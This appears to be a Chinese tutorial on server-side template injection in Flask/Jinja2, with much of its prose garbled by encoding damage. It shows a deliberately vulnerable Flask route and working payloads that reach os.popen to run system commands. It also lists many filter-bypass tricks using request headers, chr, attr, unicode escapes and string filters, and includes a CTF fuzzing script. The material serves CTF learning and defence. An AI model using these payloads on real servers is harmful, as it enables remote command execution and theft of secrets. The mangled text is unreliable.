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667,҅ᓌᑍ๐ۓᒒཛྷວ҅ፓڹጱच᮷ਂࣁཛྷວᬯӻሾᜓ҅3+3ํ7+,1.3+3̵/DUDYHO҅1RGH-6ํHMV҅ᘒ-DYDֵአጱຝ੪ๅग़ԧ̶

ԅՋԍտᦡᦇཛྷວᬯӻӳᥜҘय़ਹଫᧆ݄ᘍӞӥ҅ཛྷວਫᴬฎԅԧᦏݎᘏᚆड़ๅොጱᕒහഝ҅ྲইӻᶭᶎᵱᥝᐏӞԶහഝ҅ᬯӻײইຎ
ဌํཛྷວᬯӻӳᥜ҅ᮎԍํӷᐿᥴې٬ဩғ

ྯེວᶭᶎጱײ᮷ڠୌӞӻෛጱKWPOկ
ਖ਼ວጱᶭᶎץද౮୮ڹᔄࣳጱկ

உกด҅ᬯଚӧᒧݸڹݳᒒړᐶጱᦡᦇቘஷ҅ಅզԆၞጱຝ᮷տඪ೮ཛྷວ҅ࣁວጱᬦᑕӾտਖ਼አಁᬌفଃکفཛྷӾ҅ইຎວጱොୗӧݳቘ҅੪ํݢ
ᚆڊሿᄋ၏̶

य़ਹݢզ໑ഝ౯ӥᶎጱᬯӻֺৼቘᥴཛྷວጱၞᑕғੜጱײ೭ڦՈጱঅঅ҅ݙॺࣁ౯ժᛔ૩ጱ֢᯾҅ྌ౯ժጱ֢੪ፘ୮ԭཛྷ҅ᘒڦՈጱঅ
অݙ੪ፘ୮ԭփ᭓ᬰཛྷጱ̶ٖ

ཛྷວฎӞӻྋଉጱӧᚆٚྋଉጱۑᚆ҅֕᭗ଉཛྷ᮷տඪ೮ಗᤈ୮ڹጱԶդᎱ҅ྌইຎݎᘏӧ௴୮ጱֵአԧວۑᚆ҅ਖ਼௶አಁጱᬌفփ
ᄋ၏̶ࣁᚆਂݢํڞԧཛྷකӾ݄ວ҅ف

ӥᶎ౯ਖ਼զ3\WKRQጱ)ODVNԅֺ҅ᄍᐏࣁ)ODVNӾ౯ժฎই֜ڥአ667,ᬯӻᄋ၏ጱ̶

from flask import Flask
from flask import request
from flask import config
from flask import render_template_string

app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"

@app.route('/')
def hello_world():
    return 'Hello World!'

@app.route('/hello')
def say_hello():
    template = 'Hello {}'.format((request.args.get('name')))
    return render_template_string(template)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True)

ᦏ౯ժ፡፡ӤᶎጱդᎱٌ҅ਧԎԧӷӻ᪠ኧ҅Ӟӻ᪠ኧฎض / ҅Ӟӻ᪠ኧฎ /hello ҅ਫᴬӤํአጱ᪠ኧԞ੪ݝฎKHOOR҅ࣁKHOOR᪠ኧӾ҅౯ḒضਧԎԧӞӻ

ՋԍฎSSTI 

Flask Demo 



WHPSODWHݒᰁٌ҅Ӿ۱ތአಁࣁXUOӾփ᭓ጱQDPH҅ԏݸ᧣አԧƊDVNጱUHQGHUBWHPSODWHBVWULQJොဩວԧྌཛྷ̶

UHQGHUBWHPSODWHBVWULQJฎܧᴾጱ҅౯ժӧଫᧆᦏአಁᬌࣁف๚ᕪᬦᬦᄁጱఘ٭ӥፗളᬰفྌොဩ̶

რᎱᬰᤈԟጱ̶ىᶎጱԟ᮷ฎ᭗ᬦ໑ഝMLQMDਥොզ݊ັ፡MLQMDፘݸԧᥴ)ODVNጱཛྷකਫᴬӤฎMLQMD҅ಅզض౯ժᵱᥝ҅ڹԟ)ODVNጱ667,ԏࣁ

FRQƉJݢզ឴کݐƊDVNጱᯈᗝࣁ҅௳מդᎱӾ᭗ଉֵአ app.config ᯈᗝғ

app.config['SECRET_KEY'] = "flag{SSTI_123456}"

ྌݐFRQƉJکݐ឴ݢܨVHFUHWBNH\ғ

-LQMDἕᦊඪ೮ӣᐿړᵍᒧғ

^^``
^��`
^��`

ӥᶎฎਥොᕳڊጱӞӻᓌܔጱཛྷկֺৼғ

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html lang="en">
<head>
    <title>My Webpage</title>
</head>
<body>
    <ul id="navigation">
    {% for item in navigation %}
        <li><a href="{{ item.href }}">{{ item.caption }}</a></li>
    {% endfor %}
    </ul>

    <h1>My Webpage</h1>
    {{ a_variable }}
</body>
</html>

ᵍᒧ҅ړӷᐿکզ፡ݢӤᶎᬯӻֺৼӾ౯ժࣁ {{}} አԭፗളᬌڊᤒᬡୗጱٖ҅ྲই {{2*4}} տᬌ҅�ڊ {%%} ᭗ଉአԭಗᤈӞԶഴګྲݙইIRU̵LIᒵ̶

ᬯ᯾ᥴ᯽ӥ҅ࣁ౯ᬮฎ҅کӤᶎጱཛྷկӾଚဌํአࣁᵍᒧᡱᆐړӞӻݸ๋ {##} አԭဳ᯽ཛྷկጱٖ҅ {##} Ӿ۱ތጱٖӧտࣁᶭᶎӾᬌ҅ڊইӥғ

{# note: disabled template because we no longer use this
    {% for user in users %}
        ...
    {% endfor %}
#}

config 

Jinja Learning 

 ᵍᒧړ

ഴګݙ & ᬦᄁ & ၥᦶݙ 



parser.py 

ഴګํݙզӥᬯԶғ

_statement_keywords = frozenset(
    [
        "for",
        "if",
        "block",
        "extends",
        "print",
        "macro",
        "include",
        "from",
        "import",
        "set",
        "with",
        "autoescape",
    ]
)

ᵍᒧӾ҅ྲইӥᶎᬯྦྷդᎱғړ᭦ᬋࣁሿڊտݝ᮷ݙګӥ҅ഴ٭ྋଉఘࣁ

{% for user in users %}
    {{user}}
{% endfor %}

filters.py 

ᬦᄁํզӥᬯԶғ

FILTERS = {
    "abs": abs,
    "attr": do_attr,
    "batch": do_batch,
    "capitalize": do_capitalize,
    "center": do_center,
    "count": len,
    "d": do_default,
    "default": do_default,
    "dictsort": do_dictsort,
    "e": escape,
    "escape": escape,
    "filesizeformat": do_filesizeformat,
    "first": do_first,
    "float": do_float,
    "forceescape": do_forceescape,
    "format": do_format,
    "groupby": do_groupby,
    "indent": do_indent,
    "int": do_int,
    "join": do_join,
    "last": do_last,
    "length": len,
    "list": do_list,
    "lower": do_lower,
    "map": do_map,
    "min": do_min,
    "max": do_max,
    "pprint": do_pprint,
    "random": do_random,
    "reject": do_reject,
    "rejectattr": do_rejectattr,
    "replace": do_replace,
    "reverse": do_reverse,
    "round": do_round,



    "safe": do_mark_safe,
    "select": do_select,
    "selectattr": do_selectattr,
    "slice": do_slice,
    "sort": do_sort,
    "string": soft_unicode,
    "striptags": do_striptags,
    "sum": do_sum,
    "title": do_title,
    "trim": do_trim,
    "truncate": do_truncate,
    "unique": do_unique,
    "upper": do_upper,
    "urlencode": do_urlencode,
    "urlize": do_urlize,
    "wordcount": do_wordcount,
    "wordwrap": do_wordwrap,
    "xmlattr": do_xmlattr,
    "tojson": do_tojson,
}

ӥ҅զ٭ྋଉఘࣁ |filter_name ጱොୗ᧣አᬦᄁྲ҅ইզӥդᎱғ

{{"whoami"|count}}

๋ᕣࣁᶭᶎӤጱᬌڊฎ�҅ᬯฎࢩԅ౯ժֵአԧFRXQWᬦᄁ҅ᧆොဩἕᦊտֵአ len ᦇᓒᳩଶғ



ғᵍᒧӾ᧣አᬦᄁړ᭦ᬋࣁզݢቘ౯ժԞݶ

{%set a =[1,2,3]|join%}{{a}}

tests.py 

ၥᦶํݙইӥپᐿғ

TESTS = {
    "odd": test_odd,
    "even": test_even,
    "divisibleby": test_divisibleby,
    "defined": test_defined,
    "undefined": test_undefined,
    "none": test_none,
    "boolean": test_boolean,
    "false": test_false,
    "true": test_true,
    "integer": test_integer,
    "float": test_float,
    "lower": test_lower,
    "upper": test_upper,
    "string": test_string,
    "mapping": test_mapping,
    "number": test_number,
    "sequence": test_sequence,
    "iterable": test_iterable,
    "callable": test_callable,
    "sameas": test_sameas,
    "escaped": test_escaped,
    "in": test_in,
    "==": operator.eq,
    "eq": operator.eq,
    "equalto": operator.eq,
    "!=": operator.ne,
    "ne": operator.ne,



    ">": operator.gt,
    "gt": operator.gt,
    "greaterthan": operator.gt,
    "ge": operator.ge,
    ">=": operator.ge,
    "<": operator.lt,
    "lt": operator.lt,
    "lessthan": operator.lt,
    "<=": operator.le,
    "le": operator.le,
}

᭗ଉࣁݝ᭦ᬋړᵍᒧӾֵአၥᦶ҅ݙইӥդᎱғ

{% if loop.index is divisibleby 3 %}

ἕᦊጱقੴݒᰁᤩਧԎࣁGHIDXOWV�S\Ӿғ

DEFAULT_NAMESPACE = {
    "range": range_type,
    "dict": dict,
    "lipsum": generate_lorem_ipsum,
    "cycler": Cycler,
    "joiner": Joiner,
    "namespace": Namespace,
}

)ODVNᛔਧԎԧپӻقੴݒᰁғ

rv.globals.update(
    url_for=url_for,
    get_flashed_messages=get_flashed_messages,
    config=self.config,
    # request, session and g are normally added with the
    # context processor for efficiency reasons but for imported
    # templates we also want the proxies in there.
    request=request,
    session=session,
    g=g,
)

ಅզ๋ᕣݢզֵአጱقੴݒᰁ੪ฎӤᶎӷᘏጱଚᵞ̶

᭗ᬦӤᶎጱԟ҅౯ժ૪ᕪԧᥴଚԟԧ)ODVNӾጱཛྷක�-LQMDጱ᯿ᥝ᮱҅ړളӥਖ਼᭗ᬦپӻੜֺৼଆۗय़ਹᆧఀӤᶎಅԟکጱ̶ٖ

զֵአݢӾ҅౯ժݙګഴࣁ set ݙਧԎݒᰁғ

{%set username = 'admin'%}{{username}}

Ӥᬿཛྷࣁݙᬌڊਖ਼ᬌڊDGPLQғ

ཛྷӾጱقੴݒᰁզ݊ڍහ 

Example 

ਧԎݒᰁ 





զֵአݢӾ҅౯ժݙګഴࣁ for ᬰᤈሾֵ҅አ print ܦሾጱٖғ

{%for i in range(1,10)%}{%print i%}{%endfor%}

զֵአݢቘ҅౯ժᬮݶ {{}} դ๊SULQWᬰᤈᬌڊғ

{%for i in range(1,10)%}{%print i%}{%endfor%}

զֵአݢӾ҅౯ժᬮݙګഴࣁ if ᬰᤈկഴګғ

{%if 1==1%}{{"success"}}{%endif%}

Ӥᶎ૪ᕪᕳԧӞԶֵአጱֺৼ҅๕य़ਹሿݢࣁզ݄ັᴅӾ҅ଚᦶ፳ֵ݄አӤᶎᕳڊጱپӻӳᥜҁഴګ̵ݙᬦᄁ̵ၥᦶݙ҂҅ᬯԶݸࣁᖅጱ
ԟӾ᮷տአکҁ��KRXU҂̶

ӤᶎԟጱฎMLQMDጱአဩզ݊՜ጱፘ༷ىஷ҅֕ฎ667ࣁ,ጱڥአᬦᑕӾ҅౯ժᬮᵱᥝֵአکӞԶ3\WKRQጱचᏐᎣᦩ҅ӥᶎਖ਼ԅय़ਹ᭑Ӟᦖᥴ̶

ӥᶎտՕᕨӞԶ667؉ࣁ,ᔄ᷌ፓଉአکጱં̶

__class__
አԭ឴ݐ୮ڹಅଫጱᔄ

__base__
ᬬࢧӞӻᔄಅፗളᖀಥጱᔄ

__mro__
ᬬࢧӞӻᔄಅᖀಥጱಅํᔄ

__dict__
ᬬࢧ୮ڹᔄጱڍහ̵قੴݒᰁ̵ંᒵ̶

__init__
ಅํᔄ᮷ٍํ __init__ ොဩ҅ԭڥአ՜֢ԅ᪡ᦢᳯ __globals__

__globals__
IXQFWLRQ�BBJOREDOVBB҅አԭ឴ݐIXQFWLRQಅ॒ᑮᳵӥֵݢአጱPRGXOH̵ොဩզ݊ಅํݒᰁ̶

__builtins__
WKRQٖᗝጱොဩྲইRUG҅FKUᒵ̶\3ݐ឴

Ӟڔᔄ᮷ᖀಥᛔ2EMHFW҅ಅզ๋ᕣ᮷ݢզ឴2کݐEMHFWᔄ̶

__subclasses__
ᖀಥྌᔄጱৼᔄ҅ᬬࢧӞӻڜᤒ

ሾ & ܦ 

կഴګ 

PythonचᏐᎣᦩ 

ଉአં 

ଉአොဩ 



__getattribute__
ӻᔄጱંݐ឴

GLU
᭗ᬦGLUڍහݢզ឴ݐӻݒᰁݢ᧣አጱಅํં̵ڍහᒵ

ӤᶎٟԧᬯԍӞԶଉአጱӳᥜ҅ӥᶎ౯ժӞӻӻ᧣ᦶቘᥴ՜ժጱ֢አމӗ

class A:
    def __init__(self):
        pass

class B(A):
    def __init__(self):
        pass

if __name__ == '__main__':
    b = B()
    print(b.__class__)
    print(b.__class__ == B)
    print(B.__base__)
    print(B.__mro__)

ᬌڊғ

[flask] python3 test.py
<class '__main__.B'>
True
<class '__main__.A'>
(<class '__main__.B'>, <class '__main__.A'>, <class 'object'>)

य़ਹضᛔᤈቘᥴӞӥԅՋԍտᬌڊᬯԶٖ҅ӥᶎտํᥴ᯽̶

ӤᶎጱդᎱӾ౯ٟԧӷӻᔄ҅Ӟӻᔄ$Ӟӻᔄ%҅ӥᶎጱդᎱӾḒڠضୌԧӞӻ%҅ྌ౯ڊܦEጱ __class__ ં҅դᤒ឴ٌݐಅଫጱᔄ̶

ᒫԫӻ౯ڣෙ b.__class__ ฎވᒵԭ%ᔄ҅7ڊܦUXH̶ᒫӣᤈڊܦ%ಅᖀಥጱᔄ҅ݸ๋҅$ڊܦӞӻ౯ڊܦ%ጱᖀಥ᱾҅2̵$̵%ڊܦEMHFW̶

Ӥᶎ૪ᕪ667,ᧆጱचᏐᎣᦩच᮷ਠԧ҅ളӥ੪ฎᄍᐏӞӻ667,ᄋ၏ڥአጱचၞᑕԧ̶

ݐಅํৼᔄ�!᭗ᬦ឴ٌݐ឴!�चᔄ2EMHFWکݐ឴!�ӻᔄݐӾ҅667,ጱ؉ဩӞᛱ੪ฎғ឴ᩦྲࣁ __globals__ ឴ݐ os ̵ file ٌ՜ᚆಗᤈե�RUݐ
կጱPRGXOH̶

ӥᶎ౯տضᄍᐏӞ᭭҅ԏݸտᗝӻᓌܔጱᕞԟ᷌ᦏय़ਹᕞԟ҅ᬮฎֵአጱӤᶎጱ'HPR̶

ᵋݐ឴Ӟӻᔄ

3\WKRQӾ᭽ӡᇔጲ҅ಅզਁᒧԀ̵ڜᤒ̵ਁَᒵ҅᮷ฎ҅෬ᆐฎ҅੪ฎचԭᔄڠୌጱ҅౯ժݢզֵአ ''.__class__ ձӞӻکݐ឴

ᔄ̶� 

चᔄ2EMHFWکݐ឴

3\WKRQӾጱಅํᔄ᮷ᵌୗጱᖀಥԭचᔄ2EMHFW҅౯ժݢզ᭗ᬦ __base__  __mro__ ጱොୗ឴2کݐEMHFWᔄ҅ଫ౮ӤᶎጱSD\ORDG੪ฎ

᧣ᦶଉአڍහ 

Demo 

Exploit 



''.__class__.__base__ ̶� 

ಅํৼᔄٌݐ឴

ኧԭ2EMHFWᔄฎಅํᔄጱचᔄ҅ಅզ౯ժ᭗ᬦ __subclasses__() ੪ݢզ឴کݐ՜ጱಅํৼᔄҁಅํᔄ҂҅ଫ౮ӤᶎጱSD\ORDG੪ฎ
''.__class__.__mro__.subclass()

IX]]�ັ፡ߺӞӻᔄӾጱقੴݒᰁ᯾ਂࣁRV̵ƉOHᒵᚆड़ಗᤈեᘏݐկጱڍහ̶

SD\ORDGғ

{{%27%27.__class__.__base__.__subclasses__()[442].__init__.__globals__['os']}}

ፗളIX]]���ᬯӻහਁ҅VXEFODVVHV᯾ྯݐӞӻᔱଫጱ꧊҅ັ፡՜ժ୮ڹጱفཛྷࣘ᯾ฎࣁਂވ os ཛྷࣘ҅౯3ࣁ\WKRQ�ሾहӥᚆड़IX]]ڊᦜग़҅ইӥࢶ
ಅᐏғ





ᵋֵአӞӻ҅ፗളಗᤈեݢܨғ



᧗य़ਹ໑ഝ౯Ӥᶎಅᦖጱٖ҅ᛔᤈᦶਠෆጱڥአӞེ667,ᄋ၏҅ᥝғಗᤈե̶

Ӥᶎ๋ᕣਠෆጱSD\ORDGইӥғ

{{''.__class__.__base__.__subclasses__()[442].__init__.__globals__['os'].popen("id").read()}}

ӥᶎਖ਼चԭྌSD\ORDGᧇᕡᥴຉԶᅩᤩᬦᄁԧই֜ᕰᬦ̶

Ҙݩܔԧک᯾አߺ፡፡౯ժํضӧঘ҅ڹԧᥴই֜ᕰᬦᬦᄁԏࣁ



ᕞԟ 

ӞԶᕰᬦᬦᄁጱTrick 

ᬦᄁܔݩ 



ӧᵙݎሿ҅౯ժḒضտ᭗ᬦܔݩᤒᐏਁᒧԀᔄࣳ឴ݐᔄ҅ݸᶎտ᭗ᬦܔݩփ᭓݇හ҅ᮎԍই֜ᕰᬦᬯӷ॒ᴴޫګҘ

ᴻԧਁᒧԀᬮํՋԍොୗ឴ݐᔄ 

ᔄғݐզአձ֜ᔄࣳ឴ݢᶎ᧔ԧ҅3\WKRQӡᇔጲ҅ಅզ౯ժڹ

[].__class__
0.__class__
{}.__class__

ᔄғݐහ឴ڍᰁݒզֵአጱݢੴقզֵአ)ODVNཛྷӾݢቘ҅౯ժᬮݶ

request.__class__
url_for.__class__
g.__class__
session.__class__
config.__class__

ғݐᔄ҅ํጱኜᛗ૪ᕪฎᔄᔄ҅᮷ӧᵱᥝ౯ժ݄឴ݐᰁ឴ݒੴقզֵአMLQMDӾἕᦊጱݢᬮݶ

dict
range
lipsum.__class__
joiner
cycler
namespace

ᰁਧԎԅݒጱࣁ҅MLQMD�ᬮਖ਼ӧਂݶ jinja2.runtime.Undefined ҅ಅզ౯ժᬮݢզ᭗ᬦইӥොୗ឴ݐᔄғ

ӧਂࣁጱݒᰁݷ.__class__

ই֜ӧֵአܔݩփ᭓݇හ 

 ݩ

ᴻԧܔݢݩզᤒᐏਁᒧԀक़҅3ࣁ\WKRQӾݶݩԞݢզᤒᐏਁᒧԀ҅ᬯӻྲᓌ҅ܔ౯੪ӧֺڜৼԧ̶

request 

)ODVNཛྷӾٖᗝԧӞӻقੴUHTXHVW҅՜ᤒᐏ୮ڹ᧗ጱӤӥ҅᭗ᬦUHTXHVW౯ժݢզ឴کݐአಁ᧗ጱמ௳҅ྌݶݢզڥአUHTXHVWᕰ
ᬦܔݩᬦᄁ̶

ֵአ request.accept_encodings ᧗KHDGHUӾ$FFHSW�(QFRGLQJጱ꧊ֵ҅አݐզ឴ݢ request.accept_languages �᧗KHDGHUӾ$FFHSWݐզ឴ݢ
/DQJXDJHጱ꧊̶

ғݩܔզ%\SDVVӷӻݢአӤᶎᬯӷᅩ౯ժ੪ڥ

{{[].__class__.__base__.__subclasses__()[442].__init__.__globals__[request.accept_languages[0][0]].popen(request.accept_encodings[0][
0]).read()}} 





UHTXHVWӾᬮํᦜग़ݢզڥአጱ݇හ҅౯ෆቘԅԧӞӻ᮱ڜړᤒᤒกٌଫىᔮғ

accept_mimetypes ==> Header Accept
args ==> url arg
form ==> post data
host ==> header host
origin
...

ᬮํᦜग़ݢզᤩڥአጱં҅ᒵஇ፳य़ਹ݄യӗ

chr 

FKUฎ3\WKRQጱٖᗝڍහ҅አԭਖ਼DVFLLᎱഘԅਁᒧԀ҅ᬯޱ፳౯ժݢզֵአFKUڍහ҅փ᭓හਁ๋҅ᕣکጱᕮຎฎӞӻਁᒧԀғ

>>> chr(97)
'a'

ᮎԍࣁ؉᷌҅౯ժḒضᵱᥝIX]]کFKUڍහғ

{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}



ӤᶎጱIX]]դᎱӾ҅ḒضտIX]]ߺӻᔄӾ۱ތ __builtins__ ં҅ᬯӻંݢզ឴3کݐ\WKRQጱٖᗝොဩ҅ԏݸٖᗝොဩڜᤒӾ឴کݐFKUොဩғ



IX]]Ӟӥݢզݎሿํஉग़ᔄ᮷ํFKUڍහ҅ള፳ᵱᥝ᧣አ {%%} ጱVHWොဩᦡᗝݒᰁғ

{%+set+chr=().__class__.__bases__[0].__subclasses__()[109].__init__.__globals__.__builtins__.chr%}{

ӤᬿդᎱᦡᗝԧFKUݒᰁԅFKUොဩ҅3\WKRQӨٌ՜ӧݶጱฎ҅ڍහฎݢզᤩአጱ҅ྋࢩԅᬯӻᇙ౯ժݢզֵአӤᬿጱ֢҅ӧᆐSD\ORDGਖ਼ݒๅἋ
ᅸ̶

ԏݸ੪ݢզਖ਼ਁᒧԀഘԅFKUԧғ



ᬌڊғ



ғݩԧᅩکොֵአࣈԶߺ፡፡ӤጱSD\ORDGӾํض



ӧᵙݎሿ҅ᅩݩचᨽᑯতᕣ҅ࣁӤᶎጱSD\ORDGӾ౯ժֵአᅩݩ឴ંݐ҅᧣አොဩᒵ̶

Ӿೡݩ 

ጱොୗ᧣አොဩ҅ྲইᬯғݩզֵአӾೡݢMLQMDӾ҅౯ժᬮࣁ

{{''["__class__"]}}

ᬦ꼬ݩ 



ᬦᄁ 

ᬮݢզֵአᬦᄁጱොୗ឴ંݐ	ොဩғ

{{''|attr("__class__")}}



ٌᬦᄁጱፘىՕᕨғ





᭗ᬦզ݊ፘى᮱ړդᎱ᮷ݢզݎሿٌᬦᄁ੪ฎአ឴ંݐጱ̶

ᬮฎڟڟӞ҅፡፡SD\ORDGӾํߺԶࣈොአکԧӾೡݩғ



꧊̶ݐᤒӾጱᔱᘏਁَӾጱᲫڜአڥ෫ᶋ੪ฎݩሿֵ҅አӾೡݎզݢ

 ᤒդ๊ڜ

౯ժݢզ3ࣁ\WKRQӾ፡፡ڜᤒํՋԍݢզդ๊ጱොဩғ

>>> dir(list)
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get
attribute__', '__getitem__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__init_subclass__', '__iter__', '__le__', '__
len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__
', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'clear', 'copy', 'count', 'extend', 'index', 'insert', 'pop'
, 'remove', 'reverse', 'sort']

ٌӾ౯ժݢզֵአSRSڜᤒӾݐ꧊ғ

>>> list_test = [1,2,3]
>>> list_test.pop(1)
2

ಅզ҅ӤᶎጱSD\ORDGݢզද౮ӥᬯғ

{{''.__class__.__base__.__subclasses__().pop(442).__init__.__globals__['os'].popen("ls").read()}}

ਁَդ๊ 

>>> dir(dict)
['__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__

ᬦᄁӾೡݩ 



', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new_
_', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook
__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']

꧊ғݐզֵአSRSݢݶӾَਁࣁ

>>> test = {"a":"flag"}
>>> test.pop("a")
'flag'

୮ᆐᬮᚆአJHWොဩݐ꧊ғ

>>> test = {"a":"flag"}
>>> test.get("a")
'flag'

զֵአݢቘ҅ᬮݶ __getitem__ ොဩݐ꧊ғ

>>> test.__getitem__("a")
'flag'

 ᐙդ๊ز

>>> dir(tuple)
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '
__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__
mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subcla
sshook__', 'count', 'index']

զֵአݢᐙӾز __getitem__ ݐ꧊̶

ᬦᄁԧੜೡ҅ݩᬯޱ፳౯ժဌํېဩಗᤈڍහ҅ፓݝڹᚆ᭗ᬦڍහۙ೮ጱොဩᥴ٬҅ᬮဌํٌ՜ྲঅጱᥴې٬ဩ҅ࢩԅ3\WKRQጱڍහ᧣አᶳֵአੜೡ
̶ݩ

ғݩ᯾ֵአԧᜰೡߺ፡፡SD\ORDGӾض



ғڊᵍᒧٖጱٖտᤩ୮౮ཛྷᥴຉ҅ӧᆐ੪տܻᬌړํݝᵍᒧ҅ړฎMLQMDӾጱݩሿֵ҅አጱᜰೡݎզݢ

ᬦᄁੜೡݩ 

ᬦᄁᜰೡݩ 



ᵍᒧғړᚆֵአ᭦ᬋݝ፳౯ժޱզӧአᓕ҅ᬯݢᵍᒧฎဌአጱ҅ړᵍᒧ҅ဳ᯽ړӤᶎ᧔ᬦ҅MLQMDἕᦊඪ೮ӣᐿࣁ {%%} ̶

ളӥᦶڥአ {%%} ၥᦶฎވᚆड़౮ڥۑአᄋ၏̶

 चᔄғݐ឴

{%set a=''.__class__.__base__%}{%print a%}

 ಅํৼᔄݐ឴

{%set+a=''.__class__.__base__.__subclasses__()%}{%print+a%}

fuzz os module 

{%set a=''.__class__.__base__.__subclasses__()[470].__init__.__globals__["os"]%}{%print a%} 





use os module call system command 

{%set+a=''.__class__.__base__.__subclasses__()[470].__init__.__globals__["os"].popen("whoami")%}{%print+a.read()%}

ԆᥝฎڥአVHWSULQWᬯӷӻഴګݙڥአ667,̶

ইຎဌํېဩ᧣አ print զֵአݢڞ҅ curl क़ଃեಗᤈጱᕮຎ̶

ӤᶎಅᦖጱӞڔ᮷ฎचԭᬦᄁىᲫਁጱ҅ӧᬦ౯ᬯ᯾ᥝٟጱىᲫਁᬦᄁ҅ԆᥝฎᰒԭਁᒧԀጱᬦᄁ҅ྲইᬦᄁԧRV̵BBFODVVBBᬯԶ̶

౯ਖ਼ᕰᬦᬯԶᬦᄁጱොୗᕮԅզӥӷᐿғ

ᬦᄁ
3\WKRQဩ

ӥᶎտ᭑Ӟԅय़ਹᬰᤈᦖᥴ̶

ᬦᄁ 

attr 

ֵአDWWUᬦᄁݢզᕰᬦىᲫਁᬦᄁ҅ᛗԭԅՋԍ҅౯ժᵱᥝრդᎱ፡᩸ғ

ᬦᄁᇙਧىᲫਁ 





DWWUىᲫਁտḒضਖ਼փفጱQDPHአVWUڍහഘӞ᭭҅ᬯޱ፳౯ժݢզփفXQLFRGHᖫᎱጱਁᒧԀ̶

Ḓضਖ਼ᤩᬦᄁധਁᒧԀഘԅXQLFRGHᖫᎱғ

ള፳ֵአDWWUᬦᄁғ

{{""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}} 



ᒧԀಅଫጱFODVV̶ਁکݐጱ឴ۑզ౮ݢሿݎ

format 

IRUPDWᬦᄁݢզਖ਼ਁᒧԀӾጱ %s̵%d ᒵ๊ഘԅଫٖғ





{{''["%s%s"|format("__clas","s__")]}}



join 

MRLQᬦᄁଫ3\WKRQӾጱMRLQဩ҅ݢզਖ਼ڜᤒݳଚԅਁᒧԀғ

>>> ''.join(["__clas","s__"])
'__class__'

ଫጱᬦᄁֵአොဩғ

{{''[["__clas","s__"]|join("")]}}

lower 

አဩই҅ݷਖ਼ਁᒧԀԅੜٟᤒᐏ҅Ӟᛱአԭ᷌ፓဌํᬦᄁय़ੜٟ҅Րᬦᄁੜٟጱఘ̶٭

{{''["__ClasS__"|lower]}}



replace 

UHSODFHᬦᄁᚆड़ਖ਼ਁᒧԀӾጱӻਁᒧᬰᤈ๊ഘ̶

{{''["__claqwess__"|replace('qwe','')]}}



striptags 

VWULSWDJVᬦᄁᚆड़݄ᴻਁᒧԀӾጱຽᓋ̶

{{''["__cla<a>ss__"|striptags]}}



Pythonဩ 

3\WKRQӾጱਁᒧԀ҅੪ٍํԶݢզ๊ഘጱොဩ̶

format 

{{"{}{}".format("a","dmin")}}



replace 

{{"admiqwen".replace("qwe","")}}



lower 

{{"Admin".lower()}}



join 

{{"".join(['a','dmin'])}}



 ګᬰم܈

3\WKRQᬮඪ೮م܈ᬰګփ᭓݇හғ



request 

զֵአUHTXHVWٖጱંդ๊҅Ӥᶎᦖᬦ҅ᬯ᯾੪ӧٟԧ̶ݢጱᬮݶ

Ӥᶎጱಅൈᬿጱ globals ཛྷࣘԞฎӞᔄᖀಥ᱾҅ᮎԍ౯ժଫᧆই֜IX]]ᬯԶᖀಥ᱾ޫҘݐ឴

ࣁ����ଙ7RN\R:HVWHUQV�&7)੪૪ᕪڊᬦӞٌ᭲᷌҅Ӿํٟؓᬦԧᚕ҅݇ᘍӥᶎጱ᱾ളݢܨғKWWSV���HYLORK�JLWKXE�LR������������7RN\R:HVWHUQV�
�����VKULQH�ZULWHXS�

რդᎱғ

import flask
import os
from flask import request
from flask import g
from flask import config

app = flask.Flask(__name__)
app.config['FLAG'] = 'secret'

def search(obj, max_depth):

fuzzڥݢአᖀಥ᱾ 

https://eviloh.github.io/2018/09/03/TokyoWesterns-2018-shrine-writeup/


    visited_clss = []
    visited_objs = []

    def visit(obj, path='obj', depth=0):
        yield path, obj

        if depth == max_depth:
            return

        elif isinstance(obj, (int, float, bool, str, bytes)):
            return

        elif isinstance(obj, type):
            if obj in visited_clss:
                return
            visited_clss.append(obj)
            print(obj)

        else:
            if obj in visited_objs:
                return
            visited_objs.append(obj)

        # attributes
        for name in dir(obj):
            if name.startswith('__') and name.endswith('__'):
                if name not in ('__globals__', '__class__', '__self__',
                                '__weakref__', '__objclass__', '__module__'):
                    continue
            attr = getattr(obj, name)
            yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

        # dict values
        if hasattr(obj, 'items') and callable(obj.items):
            try:
                for k, v in obj.items():
                    yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
            except:
                pass

        # items
        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

    yield from visit(obj)

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    for path, obj in search(request, 10):
        if str(obj) == app.config['FLAG']:
            return path

if __name__ == '__main__':
    app.run(debug=True)

ṹදݸጱդᎱғ

import flask
import json
import os
from flask import request
from html import escape
from flask import g



from flask import session
from flask import url_for
from flask import config

